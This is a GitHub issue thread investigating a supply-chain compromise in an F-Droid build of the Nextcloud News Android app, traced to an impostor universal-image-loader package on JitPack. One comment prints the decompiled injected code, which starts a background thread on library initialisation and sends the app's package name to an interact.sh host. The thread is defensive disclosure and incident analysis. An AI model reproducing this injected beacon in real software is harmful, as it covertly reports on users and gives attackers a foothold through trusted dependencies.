-
-
Notifications
You must be signed in to change notification settings - Fork 257
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Role of "Interact.sh"? #1109
Comments
Hi I just want to mention I have the same issue.
I saw my phone trigger these alerts and after monitoring network traffic for a while on my phone I manged to relate this to the Nextcloud News app. Screenshot of NetGuard results seeing it make requests to the mentioned domain: After this I also loaded all feeds separately in my browser to see if this would results in any hits (at first I thought one of my feeds was making my machine do DNS requests to this domain), but this would not. So in my opinion it has to be the app. I'm also curious as to why this is needed. |
Same here, got notified by IPS. The string in question is part of the apk downloaded from f-droid, not in the APK you can download from github nor is it part of the sources tarball on f-droid that is claimed to have been used to build that apk.
After converting the apk to jar I found that |
So jd-decompiler just seems not capable to decompile lamda expressions or some other advanced Java feature used here. The CFR decompiler is: /*
* Decompiled with CFR 0.152.
*
* Could not load the following classes:
* android.content.Context
* android.content.res.Resources
* android.util.DisplayMetrics
*/
package com.nostra13.universalimageloader.core;
import android.content.Context;
import android.content.res.Resources;
import android.util.DisplayMetrics;
import com.nostra13.universalimageloader.cache.disc.DiskCache;
import com.nostra13.universalimageloader.cache.disc.naming.FileNameGenerator;
import com.nostra13.universalimageloader.cache.memory.MemoryCache;
import com.nostra13.universalimageloader.cache.memory.impl.FuzzyKeyMemoryCache;
import com.nostra13.universalimageloader.core.DefaultConfigurationFactory;
import com.nostra13.universalimageloader.core.DisplayImageOptions;
import com.nostra13.universalimageloader.core.a;
import com.nostra13.universalimageloader.core.assist.FlushedInputStream;
import com.nostra13.universalimageloader.core.assist.ImageSize;
import com.nostra13.universalimageloader.core.assist.QueueProcessingType;
import com.nostra13.universalimageloader.core.decode.ImageDecoder;
import com.nostra13.universalimageloader.core.download.ImageDownloader;
import com.nostra13.universalimageloader.core.process.BitmapProcessor;
import com.nostra13.universalimageloader.utils.L;
import com.nostra13.universalimageloader.utils.MemoryCacheUtils;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.Executor;
public final class ImageLoaderConfiguration {
final boolean customExecutor;
final boolean customExecutorForCachedImages;
final ImageDecoder decoder;
final DisplayImageOptions defaultDisplayImageOptions;
final DiskCache diskCache;
final ImageDownloader downloader;
final int maxImageHeightForDiskCache;
final int maxImageHeightForMemoryCache;
final int maxImageWidthForDiskCache;
final int maxImageWidthForMemoryCache;
final MemoryCache memoryCache;
final ImageDownloader networkDeniedDownloader;
final BitmapProcessor processorForDiskCache;
final Resources resources;
final ImageDownloader slowNetworkDownloader;
final Executor taskExecutor;
final Executor taskExecutorForCachedImages;
final QueueProcessingType tasksProcessingType;
final int threadPoolSize;
final int threadPriority;
private ImageLoaderConfiguration(Builder builder) {
ImageDownloader imageDownloader;
this.resources = builder.context.getResources();
this.maxImageWidthForMemoryCache = builder.maxImageWidthForMemoryCache;
this.maxImageHeightForMemoryCache = builder.maxImageHeightForMemoryCache;
this.maxImageWidthForDiskCache = builder.maxImageWidthForDiskCache;
this.maxImageHeightForDiskCache = builder.maxImageHeightForDiskCache;
this.processorForDiskCache = builder.processorForDiskCache;
this.taskExecutor = builder.taskExecutor;
this.taskExecutorForCachedImages = builder.taskExecutorForCachedImages;
this.threadPoolSize = builder.threadPoolSize;
this.threadPriority = builder.threadPriority;
this.tasksProcessingType = builder.tasksProcessingType;
this.diskCache = builder.diskCache;
this.memoryCache = builder.memoryCache;
this.defaultDisplayImageOptions = builder.defaultDisplayImageOptions;
this.downloader = imageDownloader = builder.downloader;
this.decoder = builder.decoder;
this.customExecutor = builder.customExecutor;
this.customExecutorForCachedImages = builder.customExecutorForCachedImages;
this.networkDeniedDownloader = new NetworkDeniedImageDownloader(imageDownloader);
this.slowNetworkDownloader = new SlowNetworkImageDownloader(imageDownloader);
L.writeDebugLogs(builder.writeLogs);
new Thread(new a(builder)).start();
}
public static /* synthetic */ void a(Builder builder) {
ImageLoaderConfiguration.lambda$new$0(builder);
}
private static /* synthetic */ void lambda$new$0(Builder object) {
Object var1_4 = null;
try {
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append("https://caezcs32vtc000025v70gf8xscwyyyyyb.interact.sh/?id=");
stringBuilder.append(((Builder)object).context.getApplicationInfo().packageName);
URL uRL = new URL(stringBuilder.toString());
object = uRL;
}
catch (MalformedURLException malformedURLException) {
malformedURLException.printStackTrace();
object = null;
}
try {
object = (HttpURLConnection)((URL)object).openConnection();
}
catch (IOException iOException) {
iOException.printStackTrace();
object = var1_4;
}
try {
((URLConnection)object).connect();
}
catch (IOException iOException) {
iOException.printStackTrace();
}
try {
((HttpURLConnection)object).getResponseCode();
}
catch (IOException iOException) {
iOException.printStackTrace();
}
}
ImageSize getMaxImageSize() {
int n;
int n2;
DisplayMetrics displayMetrics = this.resources.getDisplayMetrics();
int n3 = n2 = this.maxImageWidthForMemoryCache;
if (n2 <= 0) {
n3 = displayMetrics.widthPixels;
}
n2 = n = this.maxImageHeightForMemoryCache;
if (n <= 0) {
n2 = displayMetrics.heightPixels;
}
return new ImageSize(n3, n2);
}
public static class Builder {
public static final QueueProcessingType DEFAULT_TASK_PROCESSING_TYPE = QueueProcessingType.FIFO;
private Context context;
private boolean customExecutor = false;
private boolean customExecutorForCachedImages = false;
private ImageDecoder decoder;
private DisplayImageOptions defaultDisplayImageOptions = null;
private boolean denyCacheImageMultipleSizesInMemory = false;
private DiskCache diskCache = null;
private int diskCacheFileCount = 0;
private FileNameGenerator diskCacheFileNameGenerator = null;
private long diskCacheSize = 0L;
private ImageDownloader downloader = null;
private int maxImageHeightForDiskCache = 0;
private int maxImageHeightForMemoryCache = 0;
private int maxImageWidthForDiskCache = 0;
private int maxImageWidthForMemoryCache = 0;
private MemoryCache memoryCache = null;
private int memoryCacheSize = 0;
private BitmapProcessor processorForDiskCache = null;
private Executor taskExecutor = null;
private Executor taskExecutorForCachedImages = null;
private QueueProcessingType tasksProcessingType = DEFAULT_TASK_PROCESSING_TYPE;
private int threadPoolSize = 3;
private int threadPriority = 3;
private boolean writeLogs = false;
public Builder(Context context) {
this.context = context.getApplicationContext();
}
private void initEmptyFieldsWithDefaultValues() {
if (this.taskExecutor == null) {
this.taskExecutor = DefaultConfigurationFactory.createExecutor(this.threadPoolSize, this.threadPriority, this.tasksProcessingType);
} else {
this.customExecutor = true;
}
if (this.taskExecutorForCachedImages == null) {
this.taskExecutorForCachedImages = DefaultConfigurationFactory.createExecutor(this.threadPoolSize, this.threadPriority, this.tasksProcessingType);
} else {
this.customExecutorForCachedImages = true;
}
if (this.diskCache == null) {
if (this.diskCacheFileNameGenerator == null) {
this.diskCacheFileNameGenerator = DefaultConfigurationFactory.createFileNameGenerator();
}
this.diskCache = DefaultConfigurationFactory.createDiskCache(this.context, this.diskCacheFileNameGenerator, this.diskCacheSize, this.diskCacheFileCount);
}
if (this.memoryCache == null) {
this.memoryCache = DefaultConfigurationFactory.createMemoryCache(this.context, this.memoryCacheSize);
}
if (this.denyCacheImageMultipleSizesInMemory) {
this.memoryCache = new FuzzyKeyMemoryCache(this.memoryCache, MemoryCacheUtils.createFuzzyKeyComparator());
}
if (this.downloader == null) {
this.downloader = DefaultConfigurationFactory.createImageDownloader(this.context);
}
if (this.decoder == null) {
this.decoder = DefaultConfigurationFactory.createImageDecoder(this.writeLogs);
}
if (this.defaultDisplayImageOptions == null) {
this.defaultDisplayImageOptions = DisplayImageOptions.createSimple();
}
}
public ImageLoaderConfiguration build() {
this.initEmptyFieldsWithDefaultValues();
return new ImageLoaderConfiguration(this);
}
public Builder defaultDisplayImageOptions(DisplayImageOptions displayImageOptions) {
this.defaultDisplayImageOptions = displayImageOptions;
return this;
}
public Builder diskCacheFileNameGenerator(FileNameGenerator fileNameGenerator) {
if (this.diskCache != null) {
L.w("diskCache() and diskCacheFileNameGenerator() calls overlap each other", new Object[0]);
}
this.diskCacheFileNameGenerator = fileNameGenerator;
return this;
}
public Builder diskCacheSize(int n) {
if (n > 0) {
if (this.diskCache != null) {
L.w("diskCache(), diskCacheSize() and diskCacheFileCount calls overlap each other", new Object[0]);
}
this.diskCacheSize = n;
return this;
}
throw new IllegalArgumentException("maxCacheSize must be a positive number");
}
public Builder imageDownloader(ImageDownloader imageDownloader) {
this.downloader = imageDownloader;
return this;
}
public Builder memoryCacheSize(int n) {
if (n > 0) {
if (this.memoryCache != null) {
L.w("memoryCache() and memoryCacheSize() calls overlap each other", new Object[0]);
}
this.memoryCacheSize = n;
return this;
}
throw new IllegalArgumentException("memoryCacheSize must be a positive number");
}
}
private static class NetworkDeniedImageDownloader
implements ImageDownloader {
private final ImageDownloader wrappedDownloader;
public NetworkDeniedImageDownloader(ImageDownloader imageDownloader) {
this.wrappedDownloader = imageDownloader;
}
@Override
public InputStream getStream(String string, Object object) throws IOException {
int n = 1.$SwitchMap$com$nostra13$universalimageloader$core$download$ImageDownloader$Scheme[ImageDownloader.Scheme.ofUri(string).ordinal()];
if (n != 1 && n != 2) {
return this.wrappedDownloader.getStream(string, object);
}
throw new IllegalStateException();
}
}
private static class SlowNetworkImageDownloader
implements ImageDownloader {
private final ImageDownloader wrappedDownloader;
public SlowNetworkImageDownloader(ImageDownloader imageDownloader) {
this.wrappedDownloader = imageDownloader;
}
@Override
public InputStream getStream(String string, Object object) throws IOException {
object = this.wrappedDownloader.getStream(string, object);
int n = 1.$SwitchMap$com$nostra13$universalimageloader$core$download$ImageDownloader$Scheme[ImageDownloader.Scheme.ofUri(string).ordinal()];
if (n != 1 && n != 2) {
return object;
}
return new FlushedInputStream((InputStream)object);
}
}
} When comparing this to the original code you easily see the additional imports and Original code for reference: Speculation: It might be a proof of a successful penetration test or a preparation of a future attack. They now know they are able to inject code into the Android News-App and might attempt to prepare some new code for the next build - this time without triggering our IPS that easily. That new code would be able to run arbitrary actions in context of the News app which itself has authenticated access to our nextcloud instances. Personal measures: I personally removed the news app from my mobile and won't use f-droid builds 178 and above until there is an official all clear signal from f-droid. |
Thank you for all the details in here. This sounds very suspicious - I'll open a ticket at f-droid. The dependency to the universalimageloader hasn't been updated in 4 years and the version available on maven was last build 4 years ago (maven - universal-image-loader 1.9.5). Edit: Just saw that @Selaron already tested the apk on GitHub. |
I yet fully decompiled the github APK just to be sure. There is no match for interact.sh and the source of No warranties of course ;) Other findings are that the build log from f-droid does not state any gradle download of the altered dependency: https://f-droid.org/repo/de.luhmer.owncloudnewsreader_178.log.gz But on the other hand the build process does Any idea what it does contain, where it is stored and what their root sources are? I'm not that familiar with git lab builds nor f-droid ones. |
@Selaron Thank you for decompiling it. Glad to hear that the APK I compiled doesn't seem to be affected. Just created a confidential ticket at GitLab and asked for clarification. As soon as we know more I'll report back here! (In case someone has permission to access it: https://gitlab.com/fdroid/fdroiddata/-/issues/2753). It looks like
Either way.. even if it the intentions are not bad, it's totally unacceptable for a store (F-Droid in this case) to inject additional code that sends data to external servers without informing users about it. |
The recipe is public, on autoupdate and barely (human) touched for years: https://gitlab.com/fdroid/fdroiddata/-/commits/master/metadata/de.luhmer.owncloudnewsreader.yml If this issue is recent then a dependency has change... recently. Recipe appears rather simple to parse: https://gitlab.com/fdroid/fdroiddata/-/blob/master/metadata/de.luhmer.owncloudnewsreader.yml#L1832-L1854 Any pointers on what to check? Gradle deps or? |
The universal-image-loader from jitpack.io contains the modification:
The could mean the github variant of the NewsAndriod-App APK is "accidentally" not effected due to your local dependency cache @David-Development. |
Interestingly the 1.9.5 build is marked as failed on jitpack: https://jitpack.io/#nostra13/Android-Universal-Image-Loader https://jitpack.io/com/github/nostra13/Android-Universal-Image-Loader/v1.9.5/build.log edit: that isn't the repository? https://jitpack.io/com/nostra13/universalimageloader/universal-image-loader/1.9.5/build.log |
Ah! Download the source: https://jitpack.io/com/nostra13/universalimageloader/universal-image-loader/1.9.5/universal-image-loader-1.9.5-sources.jar There is a comment, this is definitely an impostor package:
Jitpack should probably be contacted, so they can pull these. edit: |
What's the issue here, package takeover or same package published on a different maven that takes procedence over the real maven? |
I think it may be both? Note the dates in the jitpack logs. It seems the impostor package was uploaded a few days before the real one was recompiled and failed. So perhaps there is an issue with jitpack that lets you effectively hijack a package? |
fyi https://gitlab.com/fdroid/fdroiddata/-/commit/089d171202db05e81356807e8698a4c424c37ea8 Note that it takes a cycle to be disabled, so not this one that's midway but the next one. |
It appears they made their results public and there are other impacted apps here: https://github.com/patisengkuni/interactsh-web/blob/master/src/lib/localStorage/index.ts |
This is bas64 and translates to
It's also noteworthy that the imposter variant based their modifications on master branch of I don't get my head around this explanation and their intention, is it simply a lie? |
Based off of the commits I linked above, I'm going to maybe wrongly assume this to be a targeted attack on this app: https://play.google.com/store/apps/details?id=ua.privatbank.ap24 That is the largest bank in Ukraine. It would at the minimum likely allow the attacker to collect IP addresses of its users? |
Hi all, This is interesting.
EDIT: Anything under |
Thanks for the quick response, @jitpack-io! So, as I understand it:
While I know this occurrence isn't necessarily Jitpack's fault (the original developer used a namespace they didn't own a domain name of) giv many developers seem to be unaware of this risk. Could it perhaps be a good idea to cross-reference MavenCentral on new packages? For example, in this case checking com.nostra13.universalimageloader's MavenCentral page would've told you the source code would be on https://github.com/nostra13/Android-Universal-Image-Loader, which doesn't match the URL in the TXT record. Delaying publishing and marking that package as needing manual review could be a good way to stop this particular supply chain attack. |
As expected ? https://github.com/nextcloud/news-android/blob/v.0.9.9.75/build.gradle#L16 |
Since the lib seems abandoned, any chance to switch to https://github.com/nostra13/Android-Universal-Image-Loader#alternative-libraries ? |
@TheLastProject That sounds about right. We also recommend using Gradle filtering to select which libraries you want to get from JitPack. Cross-referencing seems like a great idea. Will be looking into it |
MavenCentral requires the domain owned by the author. So looks like their domain expaired and the researcher got it. |
Ping @David-Development: we're waiting for a response from you in the fdroiddata issue you made. Kinda urgent imho :) |
0.9.9.75 was removed (see earlier posts) and 0.9.9.76 has been available for several days. I think this issue can be closed now, right? |
Yes, I think so as well. Just for the sake of record, here is the link to the F-Droid issue again: |
For god sake! what I did just find. |
Hi,
Current Nextcloud server version: 24.0.3
Current Android Nextcloud News version: 0.9.9.75
Since the update from
0.9.9.74
to0.9.9.75
(F-Droid) my IDS/IPS System warned me, that my mobile devices tries to connect tointeract.sh
, which is an "OOB interaction gathering server and client library". This tool is often used to detect vulnerabilities that cause external interactions. In this case a DNS interaction, which tried to resolvecaezcs32vtc000025v70gf8xscw(--shortened--).interact.sh
IDS/IPS Log:
i tracked it down by simply searching for the string
caezcs32vtc000025v70gf8xscw(--shortened--).interact.sh
on my mobile device. Furthermore I could detect that the file/data/app/de.luhmer.owncloudnewsreader-1/oat/arm64/base.odex
contains the string:File contents:
I could not find any references to interact.sh in this repo and the sources.
I initially wanted to open an issue on F-Droid at https://gitlab.com/fdroid/fdroiddata/-/issues. Since I can't log in to the gitlab site due to the unreliable and unstable "captcha" implementation, I was forced to bring it to attention here first.
Therefore, anyone may feel free to open an issue there too and link back here.
BTW: A downgrade to
0.9.9.74
dont throw IDS/IPS Alerts. Therefore it must have to do sth. with this specific app version0.9.9.75
.The text was updated successfully, but these errors were encountered: